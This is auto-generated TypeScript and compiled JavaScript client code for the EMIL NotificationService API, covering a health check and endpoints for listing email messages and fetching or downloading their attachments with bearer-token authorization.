var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.DefaultApi = exports.DefaultApiFactory = exports.DefaultApiFp = exports.DefaultApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* DefaultApi - axios parameter creator
* @export
*/
var DefaultApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: function (options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
localVarPath = "/notificationservice/health";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
});
});
},
};
};
exports.DefaultApiAxiosParamCreator = DefaultApiAxiosParamCreator;
/**
* DefaultApi - functional programming interface
* @export
*/
var DefaultApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.DefaultApiAxiosParamCreator)(configuration);
return {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: function (options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.check(options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.DefaultApiFp = DefaultApiFp;
/**
* DefaultApi - factory interface
* @export
*/
var DefaultApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.DefaultApiFp)(configuration);
return {
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: function (options) {
return localVarFp.check(options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.DefaultApiFactory = DefaultApiFactory;
/**
* DefaultApi - object-oriented interface
* @export
* @class DefaultApi
* @extends {BaseAPI}
*/
var DefaultApi = /** @class */ (function (_super) {
__extends(DefaultApi, _super);
function DefaultApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* Returns the health status of the notification service. This endpoint is used to monitor the operational status of the notification service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof DefaultApi
*/
DefaultApi.prototype.check = function (options) {
var _this = this;
return (0, exports.DefaultApiFp)(this.configuration).check(options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return DefaultApi;
}(base_1.BaseAPI));
exports.DefaultApi = DefaultApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { DownloadAttachmentResponseClass } from '../models';
import { GetEmailMessageResponseClass } from '../models';
import { ListEmailAttachmentsResponseClass } from '../models';
import { ListEmailMessagesResponseClass } from '../models';
/**
* EmailMessagesApi - axios parameter creator
* @export
*/
export declare const EmailMessagesApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment: (code: string, attachmentId: number, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* EmailMessagesApi - functional programming interface
* @export
*/
export declare const EmailMessagesApiFp: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment(code: string, attachmentId: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<DownloadAttachmentResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetEmailMessageResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailAttachmentsResponseClass>>;
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailMessagesResponseClass>>;
};
/**
* EmailMessagesApi - factory interface
* @export
*/
export declare const EmailMessagesApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment(code: string, attachmentId: number, authorization?: string, options?: any): AxiosPromise<DownloadAttachmentResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage(code: string, authorization?: string, options?: any): AxiosPromise<GetEmailMessageResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments(code: string, authorization?: string, options?: any): AxiosPromise<ListEmailAttachmentsResponseClass>;
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListEmailMessagesResponseClass>;
};
/**
* Request parameters for downloadAttachment operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiDownloadAttachmentRequest
*/
export interface EmailMessagesApiDownloadAttachmentRequest {
/**
*
* @type {string}
* @memberof EmailMessagesApiDownloadAttachment
*/
readonly code: string;
/**
*
* @type {number}
* @memberof EmailMessagesApiDownloadAttachment
*/
readonly attachmentId: number;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiDownloadAttachment
*/
readonly authorization?: string;
}
/**
* Request parameters for getMessage operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiGetMessageRequest
*/
export interface EmailMessagesApiGetMessageRequest {
/**
*
* @type {string}
* @memberof EmailMessagesApiGetMessage
*/
readonly code: string;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiGetMessage
*/
readonly authorization?: string;
}
/**
* Request parameters for listAttachments operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiListAttachmentsRequest
*/
export interface EmailMessagesApiListAttachmentsRequest {
/**
*
* @type {string}
* @memberof EmailMessagesApiListAttachments
*/
readonly code: string;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiListAttachments
*/
readonly authorization?: string;
}
/**
* Request parameters for listEmailMessages operation in EmailMessagesApi.
* @export
* @interface EmailMessagesApiListEmailMessagesRequest
*/
export interface EmailMessagesApiListEmailMessagesRequest {
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly authorization?: string;
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly pageSize?: number;
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly pageToken?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly filter?: string;
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly search?: string;
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly order?: string;
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly expand?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailMessagesApiListEmailMessages
*/
readonly filters?: string;
}
/**
* EmailMessagesApi - object-oriented interface
* @export
* @class EmailMessagesApi
* @extends {BaseAPI}
*/
export declare class EmailMessagesApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiDownloadAttachmentRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
downloadAttachment(requestParameters: EmailMessagesApiDownloadAttachmentRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<DownloadAttachmentResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiGetMessageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
getMessage(requestParameters: EmailMessagesApiGetMessageRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetEmailMessageResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiListAttachmentsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
listAttachments(requestParameters: EmailMessagesApiListAttachmentsRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListEmailAttachmentsResponseClass, any, {}>>;
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {EmailMessagesApiListEmailMessagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
listEmailMessages(requestParameters?: EmailMessagesApiListEmailMessagesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListEmailMessagesResponseClass, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.EmailMessagesApi = exports.EmailMessagesApiFactory = exports.EmailMessagesApiFp = exports.EmailMessagesApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* EmailMessagesApi - axios parameter creator
* @export
*/
var EmailMessagesApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment: function (code, attachmentId, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'code' is not null or undefined
(0, common_1.assertParamExists)('downloadAttachment', 'code', code);
// verify required parameter 'attachmentId' is not null or undefined
(0, common_1.assertParamExists)('downloadAttachment', 'attachmentId', attachmentId);
localVarPath = "/notificationservice/v1/email-messages/{code}/attachments/{attachmentId}/download"
.replace("{".concat("code", "}"), encodeURIComponent(String(code)))
.replace("{".concat("attachmentId", "}"), encodeURIComponent(String(attachmentId)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage: function (code, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'code' is not null or undefined
(0, common_1.assertParamExists)('getMessage', 'code', code);
localVarPath = "/notificationservice/v1/email-messages/{code}"
.replace("{".concat("code", "}"), encodeURIComponent(String(code)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments: function (code, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'code' is not null or undefined
(0, common_1.assertParamExists)('listAttachments', 'code', code);
localVarPath = "/notificationservice/v1/email-messages/{code}/attachments"
.replace("{".concat("code", "}"), encodeURIComponent(String(code)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
